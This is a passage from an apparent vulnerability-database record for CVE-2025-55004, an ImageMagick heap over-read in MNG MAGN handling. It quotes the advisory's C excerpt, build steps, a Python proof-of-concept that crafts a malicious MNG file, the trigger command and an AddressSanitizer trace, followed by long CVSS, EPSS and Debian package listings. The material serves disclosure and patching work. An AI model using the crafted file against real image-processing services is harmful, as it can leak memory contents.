                  else if (magn_methy > 1 && y == (ssize_t) image->rows-1)
                    m=1;

                  else
                    m=(ssize_t) mng_info->magn_my;

                  n=prev;
                  prev=next;
                  next=n;

                  if (y < (ssize_t) image->rows-1)
                    {
                      n=GetAuthenticPixels(image,0,y+1,image->columns,1,
                          exception);
                      (void) memcpy(next,n,length);
                    }

                  for (i=0; i < m; i++, yy++)
                  {
                    Quantum
                      *pixels;

                    assert(yy < (ssize_t) large_image->rows);
                    pixels=prev;
                    n=next;
                    q=GetAuthenticPixels(large_image,0,yy,large_image->columns,
                      1,exception);
                    if (q == (Quantum *) NULL)
                      break;
                    q+=(ptrdiff_t) (large_image->columns-image->columns)*
                      GetPixelChannels(large_image);

                    for (x=(ssize_t) image->columns-1; x >= 0; x--)
                    {
                      /* To do: get color as function of indexes[x] */
                      /*
                      if (image->storage_class == PseudoClass)
                        {
                        }
                      */

                      if (magn_methy <= 1)
                        {
                          /* replicate previous */
                          SetPixelRed(large_image,GetPixelRed(image,pixels),q);  // [5]
                          SetPixelGreen(large_image,GetPixelGreen(image,
                             pixels),q);
                          SetPixelBlue(large_image,GetPixelBlue(image,
                             pixels),q);
                          SetPixelAlpha(large_image,GetPixelAlpha(image,
                             pixels),q);
                        }
```

This can likely be used to leak subsequent memory contents into the output image.

The attached proof-of-concept triggers this issue and is not blocked by any of the default security policies.

## **Affected Version(s)**

The issue has been successfully reproduced:

- at commit `3e37a7f15fcb1aa80e6beae3898e684309c2ecbe`

- in stable release `7.1.2-0`

### **Build Instructions**

```shell
git clone https://github.com/imagemagick/imagemagick

cd imagemagick

export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address -O0 -ggdb"
export CXXFLAGS="-fsanitize=address -O0 -ggdb"
export LDFLAGS="-fsanitize=address -O0 -ggdb"

./configure --disable-shared --disable-docs --with-jxl
make -j
```

## **Reproduction**

### **Test Case**

This testcase is a python script that will generate an MNG file which can be used to trigger the vulnerability.

```
import struct
import zlib

def chunk(tag, data):
    crc = zlib.crc32(tag + data) & 0xffffffff
    return struct.pack('>I', len(data)) + tag + data + struct.pack('>I', crc)

# Simple 128x1 RGB jpeg
jpeg = bytes([
  0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01,
  0x01, 0x01, 0x01, 0x2c, 0x01, 0x2c, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43,
  0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04,
  0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x0a, 0x07,
  0x07, 0x06, 0x08, 0x0c, 0x0a, 0x0c, 0x0c, 0x0b, 0x0a, 0x0b, 0x0b, 0x0d,
  0x0e, 0x12, 0x10, 0x0d, 0x0e, 0x11, 0x0e, 0x0b, 0x0b, 0x10, 0x16, 0x10,
  0x11, 0x13, 0x14, 0x15, 0x15, 0x15, 0x0c, 0x0f, 0x17, 0x18, 0x16, 0x14,
  0x18, 0x12, 0x14, 0x15, 0x14, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x03, 0x04,
  0x04, 0x05, 0x04, 0x05, 0x09, 0x05, 0x05, 0x09, 0x14, 0x0d, 0x0b, 0x0d,
  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
  0x14, 0x14, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x80, 0x03,
  0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00,
  0x15, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xff, 0xc4, 0x00, 0x14,
  0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x01, 0x01,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x11, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03,
  0x11, 0x00, 0x3f, 0x00, 0xaa, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xd9
])

# MNG File Construction
mng_sig = b'\x8aMNG\r\n\x1a\n'
mhdr_data = struct.pack('>IIIIIII', 1, 1, 1, 0, 0, 0, 0)
mhdr_chunk = chunk(b'MHDR', mhdr_data)
magn_data = struct.pack('>HH B H H H H H H B', 0, 0, 1, 2, 2, 2, 2, 2, 2, 1)
magn_chunk = chunk(b'MAGN', magn_data)
jhdr_data = struct.pack('>IIBBBBBBBB', 128, 1, 12, 8, 8, 0, 8, 0, 0, 0)
jhdr_chunk = chunk(b'JHDR', jhdr_data)
jdat_chunk = chunk(b'JDAT', jpeg)
scanlines = b'\x00\x00'*128
compressed_scanlines = zlib.compress(scanlines)
idat_chunk = chunk(b'IDAT', compressed_scanlines)
iend_chunk = chunk(b'IEND', b'')
mend_chunk = chunk(b'MEND', b'')
mng_bytes = mng_sig + mhdr_chunk + magn_chunk + jhdr_chunk + jdat_chunk + idat_chunk + iend_chunk + mend_chunk

with open("magn_read.mng", "wb") as tmp:
    tmp.write(mng_bytes)
```

### **Command**

```shell
python3 ./generate_testcase.py
utilities/magick ./magn_read.mng -resize 200x200 PNG:output.png
```

### **ASan Backtrace**

```
=================================================================
==1562409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000680 at pc 0x557a486b0c64 bp 0x7ffe63210de0 sp 0x7ffe63210dd8
READ of size 4 at 0x51b000000680 thread T0
    #0 0x557a486b0c63 in GetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10
    #1 0x557a4869ce03 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:51
    #2 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
    #3 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
    #4 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
    #5 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22
    #6 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7
    #7 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
    #8 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
    #9 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
    #10 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
    #11 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
    #12 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x7f1431833d64 in __libc_start_main csu/../csu/libc-start.c:360:3
    #14 0x557a481a0790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f3790) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)

0x51b000000680 is located 0 bytes after 1536-byte region [0x51b000000080,0x51b000000680)
allocated by thread T0 here:
    #0 0x557a482405c3 in malloc (/tmp/repro/imagemagick/utilities/magick+0x2935c3) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)
    #1 0x557a482b9b6a in AcquireMagickMemory /tmp/repro/imagemagick/MagickCore/memory.c:559:10
    #2 0x557a482b9dba in AcquireQuantumMemory /tmp/repro/imagemagick/MagickCore/memory.c:677:10
    #3 0x557a4869c58c in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6584:34
    #4 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
    #5 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
    #6 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
    #7 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22
    #8 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7
    #9 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
    #10 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
    #11 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
    #12 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
    #13 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
    #14 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 in GetPixelRed
Shadow bytes around the buggy address:
  0x51b000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x51b000000680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51b000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51b000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1562409==ABORTING
```

## **Reporter Credit**

Google Big Sleep
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55004.json
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55004.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-55004
reference_id
reference_type
scores
0
value 0.00044
scoring_system epss
scoring_elements 0.13395
published_at 2026-04-07T12:55:00Z
1
value 0.00044
scoring_system epss
scoring_elements 0.13323
published_at 2026-04-16T12:55:00Z
2
value 0.00044
scoring_system epss
scoring_elements 0.13416
published_at 2026-04-13T12:55:00Z
3
value 0.00044
scoring_system epss
scoring_elements 0.13537
published_at 2026-04-02T12:55:00Z
4
value 0.00044
scoring_system epss
scoring_elements 0.13462
published_at 2026-04-12T12:55:00Z
5
value 0.00044
scoring_system epss
scoring_elements 0.13499
published_at 2026-04-11T12:55:00Z
6
value 0.00044
scoring_system epss
scoring_elements 0.13598
published_at 2026-04-04T12:55:00Z
7
value 0.00044
scoring_system epss
scoring_elements 0.13526
published_at 2026-04-09T12:55:00Z
8
value 0.00044
scoring_system epss
scoring_elements 0.13476
published_at 2026-04-08T12:55:00Z
9
value 0.00048
scoring_system epss
scoring_elements 0.14692
published_at 2026-04-26T12:55:00Z
10
value 0.00048
scoring_system epss
scoring_elements 0.14694
published_at 2026-04-24T12:55:00Z
11
value 0.00048
scoring_system epss
scoring_elements 0.14661
published_at 2026-04-21T12:55:00Z
12
value 0.00048
scoring_system epss
scoring_elements 0.14601
published_at 2026-04-18T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-55004
2
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 6.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
3
reference_url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0
4
reference_url https://github.com/ImageMagick/ImageMagick
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ImageMagick/ImageMagick
5
reference_url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cjc8-g9w8-chfw
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:35:55Z/
url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cjc8-g9w8-chfw
6
reference_url https://goo.gle/bigsleep
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:35:55Z/
url https://goo.gle/bigsleep
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-55004
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-55004
8
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111101
reference_id 1111101
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111101
9
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2388246
reference_id 2388246
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2388246
10
reference_url https://github.com/advisories/GHSA-cjc8-g9w8-chfw
reference_id GHSA-cjc8-g9w8-chfw
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-cjc8-g9w8-chfw
fixed_packages
0
url pkg:deb/debian/imagemagick@0?distro=trixie
purl pkg:deb/debian/imagemagick@0?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@0%3Fdistro=trixie
1
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eb4u-x1mt-2uan
11
vulnerability VCID-eeju-vhdm-aqbe
12
vulnerability VCID-egwu-28fp-dye6
13
vulnerability VCID-g41y-dv8u-3yf1
14
vulnerability VCID-g679-q851-xub7
15
vulnerability VCID-j6tc-f4fc-mbcv
16
vulnerability VCID-jc5m-7rvc-2qg6
17
vulnerability VCID-jcjk-s89c-mbbm
18
vulnerability VCID-n47w-r932-abey
19
vulnerability VCID-qjxn-gm96-7ygc
20
vulnerability VCID-r3vw-ncns-cqgb
21
vulnerability VCID-rbdg-vz8x-ykah
22
vulnerability VCID-rjkf-pdny-2fhn
23
vulnerability VCID-sw7g-hxxr-n3e1
24
vulnerability VCID-tt6z-t31v-dkdd
25
vulnerability VCID-tv15-dcnu-pbbn
26
vulnerability VCID-utfe-h3b7-jqcj
27
vulnerability VCID-uvkp-1zss-57gr
28
vulnerability VCID-w9zg-tsbg-afa1
29
vulnerability VCID-x8c6-9pse-xkc8
30
vulnerability VCID-y58b-be93-hbfd
31
vulnerability VCID-zab9-9tqj-hbhg
32
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u4%3Fdistro=trixie
2
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eeju-vhdm-aqbe
11
vulnerability VCID-egwu-28fp-dye6
12
vulnerability VCID-g41y-dv8u-3yf1
13
vulnerability VCID-g679-q851-xub7
14
vulnerability VCID-j6tc-f4fc-mbcv
15
vulnerability VCID-jc5m-7rvc-2qg6
16
vulnerability VCID-jcjk-s89c-mbbm
17
vulnerability VCID-n47w-r932-abey
18
vulnerability VCID-qjxn-gm96-7ygc
19
vulnerability VCID-r3vw-ncns-cqgb
20
vulnerability VCID-rbdg-vz8x-ykah
21
vulnerability VCID-rjkf-pdny-2fhn
22
vulnerability VCID-sw7g-hxxr-n3e1
23
vulnerability VCID-tt6z-t31v-dkdd
24
vulnerability VCID-tv15-dcnu-pbbn
25
vulnerability VCID-utfe-h3b7-jqcj
26
vulnerability VCID-uvkp-1zss-57gr
27
vulnerability VCID-w9zg-tsbg-afa1
28
vulnerability VCID-x8c6-9pse-xkc8
29
vulnerability VCID-y58b-be93-hbfd
30
vulnerability VCID-zab9-9tqj-hbhg
31
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u5%3Fdistro=trixie
3
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u2%3Fdistro=trixie
4
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-a2qm-vkc3-qkd5
7
vulnerability VCID-eeju-vhdm-aqbe
8
vulnerability VCID-egwu-28fp-dye6
9
vulnerability VCID-j6tc-f4fc-mbcv
10
vulnerability VCID-jc5m-7rvc-2qg6
11
vulnerability VCID-qjxn-gm96-7ygc
12
vulnerability VCID-tt6z-t31v-dkdd
13
vulnerability VCID-uvkp-1zss-57gr
14
vulnerability VCID-w9zg-tsbg-afa1
15
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u5%3Fdistro=trixie
5
url pkg:deb/debian/imagemagick@8:7.1.2.1%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.1%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.1%252Bdfsg1-1%3Fdistro=trixie
6
url pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-jc5m-7rvc-2qg6
1
vulnerability VCID-tt6z-t31v-dkdd
2
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.16%252Bdfsg1-1%3Fdistro=trixie
7
url pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-eeju-vhdm-aqbe
7
vulnerability VCID-egwu-28fp-dye6
8
vulnerability VCID-j6tc-f4fc-mbcv
9
vulnerability VCID-qjxn-gm96-7ygc
10
vulnerability VCID-uvkp-1zss-57gr
11
vulnerability VCID-w9zg-tsbg-afa1
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.18%252Bdfsg1-1%3Fdistro=trixie
8
url pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.19%252Bdfsg1-1%3Fdistro=trixie
aliases CVE-2025-55004, GHSA-cjc8-g9w8-chfw
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-vbdt-31wd-v3h8
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u2%3Fdistro=trixie